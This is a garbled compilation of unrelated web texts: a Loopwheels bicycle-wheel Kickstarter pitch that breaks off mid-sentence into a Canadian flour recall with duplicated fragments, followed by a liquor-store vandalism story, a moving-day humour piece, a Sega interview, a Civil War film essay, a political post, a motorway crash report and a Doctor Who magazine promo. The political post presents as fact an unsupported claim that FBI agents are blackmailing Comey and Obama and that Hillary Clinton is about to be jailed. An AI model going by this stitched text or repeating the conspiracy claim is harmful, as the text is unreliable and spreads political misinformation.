We are at the final push now: I need your help to take our fully-functioning and tested prototype 20" front and rear bicycle wheels into production.
We showed our loopwheels for the first time in public at the Bespoked Bicycle show in Bristol 12-14 April 2013. The reception and feedback was brilliant - thank you to every one who came to our stand. There are some pictures and early Twitter feedback on the Loopwheels Facebook page, and some of the reactions from the press are here:
The latest full review is from Bike Radar 13 May 2013: http://m.bikeradar.com/gear/category/components/wheel-sets/product/review-loopwheels-20in-spokeless-suspension-wheel-13-47253
GizMag / Ben Coxworth 17 April 2013: http://www.gizmag.com/loopwheels-suspension-bicycle-wheels/27129/
RoadCC / Dave Atkinson 18 April 2013:
http://road.cc/content/news/81342-loopwheels-launches-funding-drive-kickstarter
The Headset Press / Dan Hunt 19 April 2013
http://www.headsetpress.co.uk/loopwheels-re-invent-the-wheel/
Blogging cyclist Martin Cox did a review after he rode Loopwheels; here's what he thought: http://themartincox.co.uk/2013/05/loopwheels-ride-world-exclusive/
And here's a piece by Peter Eland of Velovision: http://www.velovision.com/showStory.php?storynum=1264
I'm adding updates as the campaign goes along, often as a result of feedback in messages sent to me from Kickstarter supporters. See updates 8 & 9 in particular for pledge updates, added 25 April 2013, and for conversion of pledge amounts into US dollars. There are now choices of colours for your loops, as well as the original gorgeous blue. A different colour is an extra £100 and the choices are shown in "Updates".
I'm also adding in FAQs in the section at the end. So check back for the most recent information!
What is a loopwheel?
Loopwheels are a brand-new 'pat pending' 20" bicycle wheel with integral suspension. A spring system between the hub and the rim of the wheel provides suspension, cushioning the rider from bumps and potholes in the road.
Loopwheels have a conventional hub with a hub brake and hub gears. But the spokes are replaced by a spring system. This gives an amazingly smooth, comfortable ride compared with a conventional spoked wheel.
Why do we need your help?
We now have high performing pre-production loopwheels for both a front and a rear 20" bicycle wheel. Until now, our wheels have been made in very small numbers, and fitted onto bikes which we have bought individually. I need funding to move forward into proper production, to pay the upfront tooling costs for the bespoke components that attach the springs to the rims and hubs, so that we can manufacture our loopwheels at an affordable price to share with the world. Then we can make our loopwheels in batches not as individual wheels.
So what exactly will I spend the funding on if we reach our target?
As well as the cost of pledge items (including bikes), I will use the money to fund:
the extrusion tool for the aluminium components of the loopwheel;
the upfront costs of bulk orders of components;
a resin system for the springs. (At the moment we make the springs using a simple steel tool which has been good enough for making springs for the small numbers of wheels we've done to date. But we need to invest in a much more sophisticated resin system for making springs in larger quantities and more quickly);
materials to make assembly jigs, and other simple production equipment such as benches to fit out the industrial unit we've used for testing & development work.
And if we exceed our target: I might be able to afford some extra labour to help me out assembling loopwheels and posting them to backers!
What exactly is a loopwheel?
This picture shows the loopwheel and its various components. The ones marked "JP" are the bespoke elements designed by Jelly Products (JP) (that's me!!) Other components are standard bicycle parts that I've bought in "off the shelf".
The components of a loopwheel
The springs are made of carbon composite material, carefully developed and tested to give optimum compression and lateral stability as well as strength and durability. I've designed connectors to attach the springs to the hub and rim, and these are aluminium extrusions. There are three springs in each wheel, which work together as a self-correcting system. The spring configuration allows for the torque to be transferred smoothly between the hub and the rim.
Front and rear loopwheels have different spring rates. The rear is roughly twice as stiff as the front wheel. A front and rear loopwheel can be used together as a set, or you can use a single loopwheel alongside a conventional spoked wheel. Loopwheels provide suspension on a bike which has none, or can be fitted in addition to suspension forks to give a smoother, more comfortable ride.
Because of the suspension within the wheel, you can use high-pressure or puncture-resist tyres. So you don’t need to rely on fat (and sluggish) tyres to cushion your ride.
What are the benefits of loopwheels over conventional spoked wheels?
Most folding bikes do not have suspension because conventional suspension forks add weight and bulk to the bicycle. That is particularly unwelcome in a bicycle which needs to fold down to a compact size. Replacing the spoked wheels with Loopwheels provides full suspension in a bike which hasn't got room for a traditional suspension system, but each loopwheel weighs only about 300g more than its spoked equivalent. So you get a much more comfortable ride with no impact on folding, and only a small weight gain.
Unlike suspension forks, loopwheels provide tangential suspension: that is, they work in every direction. So they respond to a force hit head-on in the same way as they do to a force from above or below.
Tangential suspension: the wheel reacts to a force from any direction
What’s the benefit to the rider?
Comfort: Tangential suspension gives you a really comfortable ride, and people find they can take bumps, kerbs and cobbles more easily on loopwheels.
Reduced vibration: I find when I ride a loopwheel that I don’t experience the usual feeling of vibration up my arms, because loopwheels absorb and isolate you from the “noise” of the road. So I get less wrist and shoulder ache on long rides. I didn't expect this when I set out on developing this product - but every one has commented on this when they ride loopwheels for any distance.
Smooth ride: The pedalling cadence is slightly different when you ride loopwheels, because the springs release energy more evenly. This makes for a very smooth easy ride.
FUN!!! AND - every one who has ridden a loopwheels bike so far has said “Wow!" - and smiled. A lot.
How much travel is there in a loopwheel?
45mm. The springs have a lot of give in them, as you can see on the video (the close up of the wheel at a junction). You can see the amount of compression on the photo below, which is of a prototype loopwheel on one of our test rigs. It shows the lower spring changing shape significantly compared with the two, which are not under compression:
A test loopwheel under compression (note - this is a different tyre from the ones we use now)
How did the idea of loopwheels start?
In 2007 my idea of a wheel with tangential suspension was born when I was sitting at Eindhoven airport waiting for a flight. I saw a mother pushing her child in a buggy. The front wheels hit a slight kerb and the child jolted forward because of the impact. It happened several times in the time I was waiting there. At that point this idea was just an idle doodle in my sketch book, and I left it that way for quite a while.
Sam's first notebook sketch of a wheel with suspension, 2007
In 2009 I was doing a lot of off-road cycling and kept thinking it would be awesome to have tangential suspension in a bicycle wheel. I made some early prototypes. They worked OK and proved the concept, but those early prototypes didn't really perform better than a spoked wheel. I knew that to be worth doing, this wheel has to be better than what's already available.
I did a patent search - and found that lots of people had tried this idea before, especially in the early 20th century. But the materials that were available then just weren't good enough for the idea to be made to actually work successfully, and I didn't let this put me off.
Old wheel patents... not all patented inventions actually work!
We have applied for patent protection. I have registered design rights granted, and Trade Marks on the loopwheels name and logo.
Can loopwheels be fitted to any bike?
No. Currently we are just making 20" diameter loopwheels, which is a small standard wheel size. Many 20" wheel folding commuter bikes don't have any suspension so loopwheels are ideal for them.
We are fitting our loopwheels to a Dahon Mu folding bike. The bikes we've used as demonstration models came to us from the UK Dahon distributor Raleigh, who are part of the the great bicycle heritage of our local city of Nottingham.
Loopwheels on a Dahon Mu
Because of the way loopwheels work, they can't be fitted to every bicycle. As the wheels react to changes in the terrain, the hub and the rim become non-concentric. This means the loopwheel needs clearance between the top of the tyre and the front forks. This isn't a problem on some bikes - they have this much space for those fat cushioning tyres (which, with loopwheels, you don't need any more). But you need to check this on your own bike if you're going to make a pledge just for wheels.
You need there to be a minimum of 260mm from the front wheel axis (the centre of the hub) to the underside of the fork, and from the rear wheel axis to any part of the bike frame, in order to fit loopwheels to your bike.
Checking for 260mm clearance from the centre of the hub: front wheel
Checking for at least 260mm clearance - rear wheel
In addition, loopwheels have hubs sized as follows:
Front drop out centre: 100mm
Rear drop out centre: 117mm
The "drop out centre" on a bike is the distance between the forks where the hub fits. People also refer to the overlock nut dimension: it's basically the same measurement. Watch out to check your forks are wide enough for our hubs!
We supply the brake cable and its clip. It is quite easy for you to fit the cable to your own bike brake lever.
The hubs we are providing on our Kickstarter loopwheels are made by Sturmey Archer. The front drum brake hub set is their X-FD and the rear hub set is their X-RD3. So our Kickstarter wheels are 3-speed only. In future, we plan to do a wider range of hubs and gear speeds. But keeping it simple at this stage ensures we can deliver on our commitments to you.
What's the production plan?
So, how will we manufacture loopwheels once we reach our funding goal?
We already have a lot of what we need for production: our pre-production loopwheels have been tested for strength, longevity, durability, compression rates and lateral stability and we have designed them with ease of manufacture in mind. We know who is going to supply each component, the cost of that component and the lead times for delivery. We have a workshop which we have been using to develop and test the wheels, and which will now become our assembly unit. (You can see it on the video). We are now designing jigs to hold all the components in place as they are assembled, and we are working out the most efficient assembly method and planning each stage of the assembly process.
Rig for testing kerb impact in out test unit. We have plenty of space for assembly benches!
Suppliers:
Some of the components of loopwheels are standard bicycle parts: that's the rims, hubs and tyres. We buy these in from the manufacturers in Europe. Currently we get hubs from Sturmey Archer in the Netherlands, rims from Schuermann in Germany, and we use Continental tyres with a reflective strip. The hubs come with brake cables and clips.
I designed the components which attach the springs to the rims and the hubs. These are bespoke to loopwheels and there are up-front tooling costs to have these made in quantity: they are aluminium extrusions.
I designed the carbon composite springs in close collaboration with a company with long experience in composite materials. This is KG Archery, who have been making high quality archery bows for over 30 years. So the main component of loopwheels are made locally to us in Nottinghamshire (Robin Hood's Sherwood Forest tradition lives on here!)
Next steps on production
Once we reach our funding target, we can place our orders for the tooling of the connector components, and order the hubs, rims, tyres and bicycles. At the same time KG Archery will get to work on making the number of springs we shall need. This is one of the most time-consuming parts of the manufacturing process and involves a high degree of specialist knowledge and experience.
What about larger wheel sizes?
I have a 26" loopwheel in development... I ride a prototype 26" loopwheel on my MTB but it's not quite good enough yet. So I need to do more R&D on it still...
Pledge items
STOP PRESS! See updates 8 & 9 for further pledge information, amounts in US dollars, and |
the recall notice on the CFIA website.
The recalled products include:
Brodie self-raising cake and pastry flour, 1 kg. Production code 6 291 548 with best-before date of Jan. 17, 2018. UPC 0 59000 01484 5.
self-raising cake and pastry flour, 1 kg. Production code 6 291 548 with best-before date of Jan. 17, 2018. UPC 0 59000 01484 5. Creative Baker all-purpose flour, 20 kg. Production code 6 291 SK with best-before date of Oct. 17, 2017. UPC 6 28622 10142 6.
all-purpose flour, 20 kg. Production code 6 291 SK with best-before date of Oct. 17, 2017. UPC 6 28622 10142 6. Creative Baker whole wheat flour, 10 kg. Production code 6 292 SK with best-before date of April 18, 2017. UPC 6 28622 10131 0.
whole wheat flour, 10 kg. Production code 6 292 SK with best-before date of April 18, 2017. UPC 6 28622 10131 0. Golden Temple Sooji creamy wheat, 2 kg. Production code 6 292 548 with best-before date of Jan. 18, 2018. UPC 0 59000 01552 1.
Sooji creamy wheat, 2 kg. Production code 6 292 548 with best-before date of Jan. 18, 2018. UPC 0 59000 01552 1. Robin Hood all-purpose flour, 1 kg. Production code 6 288 548 with best-before date of April 14, 2018. UPC 0 59000 01632 0.
all-purpose flour, 1 kg. Production code 6 288 548 with best-before date of April 14, 2018. UPC 0 59000 01632 0. Robin Hood all-purpose flour, 1 kg. Production code 6 289 548 with best-before date of April 15, 2018. UPC 0 59000 01632 0.
all-purpose flour, 1 kg. Production code 6 289 548 with best-before date of April 15, 2018. UPC 0 59000 01632 0. Robin Hood all-purpose flour, 1 kg. Production code 6 290 548 with best-before date of April 16, 2018. UPC 0 59000 01632 0.
all-purpose flour, 1 kg. Production code 6 290 548 with best-before date of April 16, 2018. UPC 0 59000 01632 0. Robin Hood all-purpose flour, 1 kg, Production code 6 291 548 with best-before date of April 17, 2018. UPC 0 59000 01632 0.
all-purpose flour, 1 kg, Production code 6 291 548 with best-before date of April 17, 2018. UPC 0 59000 01632 0. Robin Hood all-purpose flour, 10 kg. Production code 6 288 548 with best-before date of April 14, 2018. UPC 0 59000 01652 8.
all-purpose flour, 10 kg. Production code 6 288 548 with best-before date of April 14, 2018. UPC 0 59000 01652 8. Robin Hood all-purpose flour, 10 kg. Production code 6 289 548 with best-before date of April 15, 2018. UPC 0 59000 01652 8.
all-purpose flour, 10 kg. Production code 6 289 548 with best-before date of April 15, 2018. UPC 0 59000 01652 8. Robin Hood all-purpose flour, 10 kg. Production code 6 292 548 with best-before date of April 18, 2018. UPC 0 59000 01652 8.
According to CFIA, the recall was triggered during its investigation into a food-borne illness outbreak. Recalled products should be thrown out or returned to the store.
At least 26 people across Canada have been infected with the dangerous bacteria. Two Alberta law firms announced this week they were filing a class-action lawsuit on behalf of people who bought or consumed Robin Hood flour and became ill.
The CFIA is advising Canadians not to eat or use any recalled flour or flour products included in the updated food recall warning. It is unsafe to taste or eat raw dough or batter regardless of the type of flour used, it warned, as raw flour can be contaminated with harmful bacteria such as E. coli.
Symptoms of E. coli poisoning can include nausea, vomiting, mild to severe abdominal cramps and watery to bloody diarrhea.
For more information on the recall, visit the Canadian Food Inspection Agency website.Mahogany Morrow is captured on surveillance video destroying parts of a Rockland County liquor store on March 2. She's turned herself in to police that night. (Photo: CBS 2)
— Police in Rockland County are trying to track down the woman seen in a rather bizarre surveillance video.
Her belligerent, bottle-breaking display left many dismayed.
“Rex” the owner’s dog saw it all, and so did a battery of video cameras from multiple angles.
An angry woman went on a bottle-breaking rampage through a West Nyack liquor store. She didn’t steal anything. She just wrecked the place.
“I’m angry about this. In 25 years in this business I’ve never seen something like this,” said the store owner’s son, Chris Giacopelli.
MORE CRAZY BEHAVIOR: Police: Driver In L.I. Crash Was ‘Out To Commit Mayhem’ | Exclusive: Horror, Heroism On The 3 Train | Cops: Flatulence Behind Fatal Stabbing In Bristol | Bathroom Ban Leads To Riot At NYC High School
The store clerks told police the woman came through the door and walked right up to the counter wanting the jump the line, very angry. This happened at about 6:30 last Wednesday night. And if the people in the store were smiling about the incident a week later, as they told CBS 2’s Lou Young, at the time they were terrified.
The video shows her arguing with a clerk about 30 seconds after she walked in. A customer looks on, and Rex looks very concerned. During this heated exchange she asked to use the restroom and was told no, and that really set her off.
She’s seen on video heading to the back of the store and then clears parts of a shelf on her way out.
They were still re-stocking Wednesday and remembering.
She put just put her hand in here and all the way all the way down,” one person said.
“Then when she got to this area she grabbed this display here and threw it down to the floor — strong and angry,” another person said.
“It was very scary. I was terrified,” clerk Joanne Ghaharty said.
But it’s all on video. Police said they know she arrived and left in a cab and was dropped off at the Palisades Mall. They have a possible line on her identity but would like your help all the same.
“Oh this is quite unusual. I think that she had been drinking. That’s the information we have,” Clarkstown Police Sgt. Harry Baumann said.
If you know her you’re asked to call the police and its suggested you probably don’t want to make her angry.
Police said that when they catch the woman in the video she’ll likely face a criminal mischief charge.
Ever see anything like this? Please tell us your experiences in the comments section below.The asterisk in this particular case reads: "Price for in-town move only." Somehow, that modest truck with the janky shifter and seat that smells like old action figures is magically transformed, upon crossing state lines, into a solid gold chariot driven on wheels of purest diamond, powered by the Ark of the Covenant, with a fuel tank three quarters full of the meaning of life (and make sure to refill it to that same level of nirvana before returning, or there will be a fee). For every one long-distance mile you plan on driving that run-down Ford with a metal box on the back, you can go ahead and shuffle the decimal point in that listed price one spot to the right.
Don't Try Anything New -- Ever
If something seems like it kind of sucks upon first impression, my first reaction is to see if I can think up a clever workaround. There's just no better feeling in life than skirting a major expense by virtue of your wit alone, all while laughing at the suckers left burning in your wake. (Side note: Burning things in your wake is a pretty good feeling, too.) So when confronted with sticker shock at the U-Haul place, I simply scoffed, knocked some appliance pads on the ground, executed some ornate, baroque obscene gestures and went to find a better way.
"I don't even know what that means, sir, but I'm terribly offended by it!"
After some research, I settled on one of those portable storage container thingies that those assholes are always blocking the street with. I figured,
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Hey, I'm technically an adult with access to real, grown-up money -- I could be that asshole!
The idea behind moving with portable storage containers goes like this: You rent the unit like usual, the company drops it off and you load it up. Then you give them a call, they come pick it up and deliver it your new address. It's just like renting a U-Haul, but you don't have to wrestle a morbidly obese land-whale through a strange and hostile foreign city while your wife unleashes terrified screeches from the seat next to you and countless fence-posts meet their grisly end beneath your mad, roving tires. And it's basically the same price! Why doesn't everybody do this?!
Chuckling, as always, at all the suckers doing everything the stupid way, I rented my PODS unit and packed it up.
But wait, now I don't have a truck to do dump runs, and I always have so very much garbage; yesterday's treasure is today's blood-stained velvet panther rug, after all. There must be another, equally clever alternative to that, right? Yes! Behold, the Bagster:
Fuckin' thirty bucks at the Home Depot!
Shit, that's nothing: That's less than two gallons of gas and a post-dump recovery burrito, and you don't even have to drive into that building where old Chilean men are sadly sweeping photos of their late grandchildren out the back of a trailer onto a pile of discardedIs Sega the next Atari? Former Sega of America CEO Tom Kalinske bemoans 20 years of wrong decisions from the Sonic maker, weighs in on whether Nintendo should go mobile
Brendan Sinclair North American Editor Monday 23rd February 2015 Share this article Share
Companies in this article LeapFrog Enterprises SEGA of America
As CEO of Sega of America in the early 1990s, Tom Kalinske oversaw the company during its glory days, when all eyes in the industry were glued to the titanic struggle for console superiority between the Super Nintendo and Sega Genesis.
Times have changed, to put it mildy. Kalinske left Sega in 1996 and soon signed up with educational entertainment company LeapFrog, where he remains a vice chairman today. The intervening decades have seen Nintendo's best days as well as its worst, and the company sits in a distant third place in the current console race. Meanwhile, Sega hasn't been the same since Kalinske left. The Sega Saturn bombed. The Dreamcast signaled an end to Sega's days as a first-party hardware maker, and the ensuing decade-plus as a third-party publisher hasn't been all wine and roses, either.
"[Sega] seem to have made the wrong decisions for 20 years."
Kalinske spoke with GamesIndustry.biz earlier this month at the DICE Summit, just days after Sega announced staff reductions and the relocation of its San Francisco offices. Though Kalinske said he doesn't keep especially close tabs on the mainstream gaming space these days, he was shocked to hear his old company was pulling out of San Francisco. And while it might have seemed a foregone conclusion that Sega couldn't compete in the gaming industry once giants like Sony and Microsoft got involved, Kalinske dismissed the notion.
"It was not inevitable," Kalinske said. "It could have been avoided if they had made the right decisions going back literally 20 years ago. But they seem to have made the wrong decisions for 20 years."
Regardless of Sega's ability to best the deep-pocketed intruders, Kalinske said it could have joined them had the right decisions been made.
"One of the key reasons why I left Sega is when we had the opportunity to work with Sony, when [Sony Interactive CEO] Olaf Olafsson, [Sony Corporation of America president and CEO] Mickey Schulhof and I had agreed we were going to do one platform, share the development cost of it, share the probable loss for a couple years on it, but each benefit from the software we could bring to that platform. Of course, in those days, we were much better at software than they were, so I saw this as a huge win. We went to Sony and they agreed, 'Great idea.' Whether we called it Sega-Sony or Sony-Sega, who cared? We go to Sega and the board turned it down, which I thought was the stupidest decision ever made in the history of business. And from that moment on, I didn't feel they were capable of making the correct decisions in Japan any longer."
Regardless, there's still hope for Sega as a brand. And Kalinske should know, having helped breathe new life into flagging brands numerous times over his career, from giving The Flintstones a jolt with the introduction of a line of vitamins to bringing Barbie back from the brink in the early '70s. There's never a shortage of experts willing to pile dirt on a brand before it's truly dead, but as Kalinske emphasized in his DICE talk, "The Experts Are Always Wrong." That said, brands aren't immortal, and Kalinske did identify one thing strong enough to kill them.
"You have to really make a lot of mistakes to kill a strong brand."
"Stupidity," Kalinske laughed. "They're hard to kill. You have to really make a lot of mistakes to kill a strong brand. I do think some great brands obviously have been destroyed, Atari being one of them. Why didn't that survive? I think there's a lot of bad decision making involved in killing brands like that. I hope Sega isn't the same thing."
But even a destroyed brand has some value, some potential for future success. The Atari brand still exists, and people are trying to resuscitate it with a mix of familiar franchises, real money gaming, and fitness apps. Kalinske said even he and original Atari founder Nolan Bushnell saw value in it, as they attempted to acquire the name somewhat recently.
"And we failed in that effort, obviously," Kalinske said. "It was maybe five years ago. We weren't able to put it together. At the time it was owned by the French, and the French didn't want to sell."
Moving back to the big brands of today, many analysts and experts have called on Nintendo to get out of the hardware market and bring its valuable stable of intellectual properties to new platforms, specifically mobile devices. While it's another case that might fall under Kalinske's "The Experts are Always Wrong" dictum, he thought they might only be half-wrong in this case.
"I don't think [Nintendo] should give up hardware or consoles," Kalinske said. "I am surprised that they haven't formed a division to extend the IP. I'd love to play some of their games on my iPhone or iPad. It's really a form of marketing for them in a sense. They wouldn't even need to make that much money off it, but it would keep their brands relevant with the users, including people that are older, like me. So it seems to me it's a marketing mistake, but I don't think they should give up what they're doing because they're damn good at it."
"I don't think [Nintendo] should give up what they're doing because they're damn good at it."
In some ways, Leap Frog faces the same dilemma as Nintendo. It has its own hardware and software built using a proprietary language, so anyone wanting to play LeapFrog content has to play it on LeapFrog devices. And while the company makes consoles and tablets, they aren't exactly as ubiquitous as an iPad.
"We're struggling with that," Kalinske acknowledged. "It's a big internal issue and there's a lot of work going on in that area I really can't talk about. But from my perspective, I would love to see a way [to have LeapFrog content on mobile devices]--so long as it was profitable, because you don't want to do these things if they're not at least a little profitable. And that's what they're struggling with, because most of the education content on iOS doesn't make a profit. Almost none on Android makes a profit."
Kalinske's complaints with the educational app market on mobile devices should sound familiar to anyone who's worked on entertainment apps in recent years.
"There's an awful lot of stuff available that's losing money and isn't very good," Kalinske said. "So you have a mess out there right now. This is one of the criticisms I have of Apple. They should take a look at all the educational content on their site right now, it's terribly confusing to parents, and they ought to do a better job of curating that. Put some standards in and make sure that anything saying it's educational actually is, and get rid of a lot of stuff that isn't very good."
That seems unlikely to happen in the near term. Kalinske has been in the interactive edutainment field since 1996, and one constant he's seen is that the seismic overhauls that reshape interactive entertainment every few years don't seem to happen at the same pace.
"It's really hard to make a profit off doing education well. It's pretty easy, relatively, to do entertainment well."
"Education's been much slower," Kalinske said. "The adoption of really good technology has been much slower. It's still slow. It's still happening. It's great to see Massive Open Online Courses (MOOCS), but it's not great to see MOOCS that are boring. My whole thing has been to figure out what the great curriculum is, and then figure out ways to make it fun and interesting, whether that's for a young child or a college age student. Why does it have to be dull and boring lectures?"
There's a reason behind that slower pace of adoption for educational games, and it's one Kalinske said he learned back when he was still at Sega.
"We were doing the Pico, and Pico was a really good system for young kids," Kalinske said. "And we were doing $100 million in business from the Pico and its software. But it had a lower gross margin on it than obviously, entertainment software. And this is again during that time when Japan was making decisions for me. And they said to me, 'Stop wasting your time on that. It takes too much effort and too much money. You could just do another Sonic title and do a lot more revenue, a lot more profitably. It's easier.' And it struck me. That's why Disney hasn't been that good at education, or any of the other big entertainment companies, like Sony. Because it's hard. It's really hard to make a profit off doing education well. It's pretty easy, relatively, to do entertainment well.
"With the amount of storage that one can do today at a reasonable cost, no matter what the subject is, if we wanted to present that curriculum to children or even teenagers in a way that was most interesting to them, we could do that today," Kalinske added. "And we're not doing it. And that frustrates me."major spoilers for ca:cw under the cut.
so.
there are a lot of things i loved about civil war; natasha, bucky and sam are always at the top of my lists. but as i walked home (almost 2 miles because i was so fucking keyed up) something kept cycling through my brain, and it started with one moment and it didn’t end there:
peggy carter dies, and steve doesn’t get to cry.
and like, okay, steve’s not much of a crier, i hear you/buck/everyone saying. sure. we get a scene of him wanting to be alone in the hallway. we get a scene of him at her funeral. but they aren’t scenes of mourning, not really- the movie instantly asks us to switch our interest to sharon, to steve’s attention to sharon. natasha coming to comfort steve is also about an update on the accords. there’s no moment like the one in ca:tfa where steve cries out in agony against the side of the train, where he drinks himself sober alone in a bombed-out room. the movie doesn’t stop or wait for those feelings. and those moments aren’t just for the characters. they’re for the audience. crying can be cathartic to watch. mourning can be cathartic to watch. letting a character soak in grief for a moment before they move on, gives the audience a satisfying hit of real feeling. lets them anchor themselves somewhere– “i am identifying with this character. i am feeling this character’s visible pain.”
we didn’t really get it. (aside from a couple of key scenes with t'challa that i’ll note in a second.) chris evans is a good enough actor that he can make steve rogers holding very very still into a symphony of sadness, but for me it was as if the movie wanted to talk past him. the movie wanted to push us along. and this kept happening. it was especially jarring to me when tony’s trying to beat bucky to death for murdering his parents, and he’s yelling “do you even remember them,” and bucky’s like “i remember all of them.” and then the fight just moves onward, unabated.
hey, movie, what???
like, can we slow down for one fucking second and talk about how bucky barnes doesn’t get a single scene where he’s allowed to actually break down or show anything other than a.) rage or b.) stoic masculine-coded I’m A Man Who’s Generically Done Bad Things guilt? the audience gets to stand inside the room where they tortured bucky for decades, we get to walk through the fucking cages where they beat him like a dog, but he never gets to talk about it. (again, sebastian stan’s face was working overtime to give us those super complex emotional stories, but the movie was giving him no space.)
it’s a failure of catharsis. it’s a failure of empathy. we’re allowed to watch the characters act and react, but the movie doesn’t give enough time and space and breathing room to take us deep enough to see what’s truly churning under the surfaces. (tony more than anybody, which ends up being a strange choice.) and let me say it again: the extremely stoic, masculine surfaces. i don’t think it’s an an accident that even though this movie is about a.) friends violently hurting each other and b.) huge life-altering grief and loss, nobody cries except t'challa, as he loses his father (and i’m gonna say this several times, but THANK FUCK for t'challa). nobody else ever just collapses with sadness. instead, the major, overwhelmingly dominant mode of expressing emotion in this entire movie is anger. and anger, of course, is the one emotion men are taught that it’s natural to express. men are allowed to be angry, but they are not allowed to be much else. anger and violence is how the villain expresses his grief. anger and violence is how tony expresses his grief. anger and violence are the only outlets offered for pain, whether you’re the hero or not. but the movie doesn’t really force that parallel clearly enough.
(again, thank fuck for t’challa. he is the one character who has a true cathartic moment, on the mountain with his father’s murderer. his face is beautiful there, showing us every flicker of torment and sadness and eventually, peace. before that i was starting to feel like tensed-up anger was the only emotion i could still feel. his emotional arc was the most resonant.)
the inability to empathize is everywhere in the character’s storylines. i mean, when i say the audience gets to walk through bucky’s Siberian Nightmare House, tony gets to do that, too. tony watches the video in the same room as the chair. the chair! i mean, Jesus Christ! tony is standing in the room where they scrubbed the fucking personhood out of bucky barnes for fucking decades! he got to see the other winter soldiers locked in their tanks with fucking tubes coming out of their arms! i understand his immediate reaction of fury and grief-stricken rage, but i do not understand the movie’s inability to have characters look at each other’s experiences.
i don’t have much of a conclusion. but i am feeling keenly the absence of moments like those in ca:tws, where steve gets herded into the prisoner transport after seeing bucky for the first time: the movie blurs and sways with steve, the sound dies away. we feel his incomprehension, everything else washes away while he processes it. we’re with him, fully with him, inside his journey in those instants. we get to feel what he’s feeling. the only real emotion i felt like i really had been granted access to during ca:cw was anger, maybe frustration; but i couldn’t sustain that for three hours. it grated. i wanted somebody to express tenderness. weakness. softness. natasha’s turning the tide– her ability to understand steve’s plight and then to act accordingly– was one of the few moments where anybody stopped for one second, let go of the story’s insistence on fighting, and let gentler, kinder, more loving feelings drive the action.*
*(wanda and vision almost managed this, but not quite, for me. probably unpopular opinion time: vision tenderly holding wanda in his arms post-battle is closely followed by wanda being locked up in a fucking straitjacket and collar and nobody but steve doing anything about it– so thanks for nothing there, vision.)
and maybe it’s all thematic. maybe this entire movie was about society’s insistence on male anger. but if so, it needed a different ending. it needed more. the villain’s motivation was barely mentioned until the end, and then it was paralleled with t’challa’s decisions, not tony’s. (which lets tony sidestep forgiveness entirely while t'challa grants it.) if the movie wanted to make that point, it missed by inches.
anyway. i stil love y’all, avengers; russos. but please, please, my dudes: let superheroes cry 2k16.Writes Graham Dugas:
Comey has an insurrection on his hands beyond the ability of anyone to control. These mutinous senior FBI agents have enough dirt to toss Obama, Comey, Hillary and others in jail. They also loathe the idea of being subjected to Clinton in the future as they know they will be forced to perpetrate more cover-ups and stain the bureau even more. They presented Comey and Obama with a choice… “give us Hillary’s head on a platter and we will be silent on Obama’s complicity in federal crimes [effectively a Nixon type pardon by omission of pursuit] and we will allow Comey to quietly be succeeded by a person of our choosing on an incoming Trump Administration.” OR ELSE THEY WILL GO PUBLIC. Comey could have been silent until after the election no matter what they found on Weiner’s laptop because they already have seen ALL the emails including the deleted ones. The fact that Comey is taking this action indicates that his hand is being forced and that he [and Obama] have accepted the terms offered by the insurrectionists in exchange for the face saving terms offered. This also dovetails with Assange saying his next batch [the FBI knows the contents of ALL of Podesta’s emails] will result in the arrest of Hillary. The FBI cannot weather another PR storm revealing them complicit in a cover-up. They also must be proactive and use Hillary’s arrest/indictment/forced withdrawal from the race as a lightning rod to quell a furious public by granting them their ‘pound of flesh’. No one likes Hillary, and don’t think that the Pentagon is going to silently sit still as one of their 4-Star generals get ramrodded for MUCH less than Hillary did. They are aligned with the insurrectionists at the FBI. Comey and Obama’s hand is being forced. Hillary is toast and going to jail. You will know this is true within a few days because the sheriff is about to slap the cuffs on Hillary. Weiner’s laptop is just a cover story.Image caption Horses were seen on the M11 following the five-vehicle crash
Two people have died in a motorway crash involving three cars, a lorry and a horsebox.
Part of the M11 has been "completely blocked" following the crash on the northbound carriageway, between Harlow and Bishop's Stortford, at 14:15 BST.
Two people in one car have died. A man and a woman from another car have been taken to hospital in Cambridgeshire.
A man has been arrested on suspicion of causing death by dangerous driving, Essex Police said.
The force advised people to avoid the area as tailbacks stretched to four miles (6.5km).
Media playback is unsupported on your device Media caption The horses were from Brian Meehan's stables
The northbound carriageway has been closed.
A police spokesperson said: "The carriageway is completely blocked and is impassable.
"The road will remain closed throughout the afternoon and into the evening."
It has emerged the horsebox was carrying five horses from trainer Brian Meehan's stables.
A statement on the stable's website said the horses had been taken to the Newmarket Equine Centre, where they were being assessed by vets.
"It is obviously very upsetting for everyone concerned, but they could not be in a better place to receive the care they need," the statement said.What is it with legendary British pop culture icons celebrating their fiftieth anniversaries? Who knows — and “Who” is exactly the right word. In 2012 both the Rolling Stones and the Bond movies turned 50 and this year it is the turn of British science fiction show Doctor Who (yes, we know the Doctor is actually much older than 50, but let’s not get into that right now). To mark the occasion, this week’s issue of Entertainment Weekly offers a choice of two collectible covers — one featuring Matt Smith’s Doctor, Jenna Louise-Coleman’s new “companion” Clara, and a Dalek and the other boasting Smith and a Cyberman, who will be among the monsters our time-traveling hero battles in the half-season of eight new Doctor Who shows which BBC America will premiere on March 30 at 8p.m. ET.
That, however, is just the tip of the celebratory Who–berg — the flashing light atop the Doctor’s time- and spacecraft the TARDIS, if you will. For our Doctor Who cover story we visited the show on location in Wales, grilled executive producer Steven Moffat about the upcoming episodes and the 50th anniversary special, which is being broadcast this fall, and luncheoned in Manhattan with Smith. In our Who package you’ll also find a breakdown of all 11 Doctors and, perhaps best of all, an essay by Peter Jackson in which the Lord of the Rings director recounts his Who-love and announces his price for directing an episode. You’ll think the magazine is, well, bigger on the inside…
…and in a sense it is. Over the next few days we’ll be rolling out a series of Doctor Who exclusives on EW.com, our facebook page and the EW tablet, including outtakes from the cover shoot and a video interview with Smith and Coleman.
Yep, we are currently “all about” Doctor Who—except, that is, when we’re not. In addition to our Who package this week’s Entertainment Weekly boasts an article about everyone’s favorite archer — or male archer, anyway — Arrow plus an in-depth interview with Chris O’Dowd, star of Bridesmaids, the just-released The Sapphires, and Christopher Guest’s new HBO comedy Family Tree. We’ll also be revealing the latest news on the Veronica Mars movie, explaining why the SXSW-screened You’re Next is one of the best horror films in years, and relating the extraordinary story of the mask-wearing moviemaker Makinov.
For more on Doctor Who, pick up this week’s issue of Entertainment Weekly, on newsstands Friday, March 22.
Read more:
‘Doctor Who’ new episodes: Titles, posters, and plot info revealed — PHOTOS
‘Doctor Who’ trailer: Check out the teaser for the Time Lord’s new adventures — EXCLUSIVEHome
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DARPA Looks for Life Beyond Moore’s Law
DARPA Looks for Life Beyond Moore’s Law
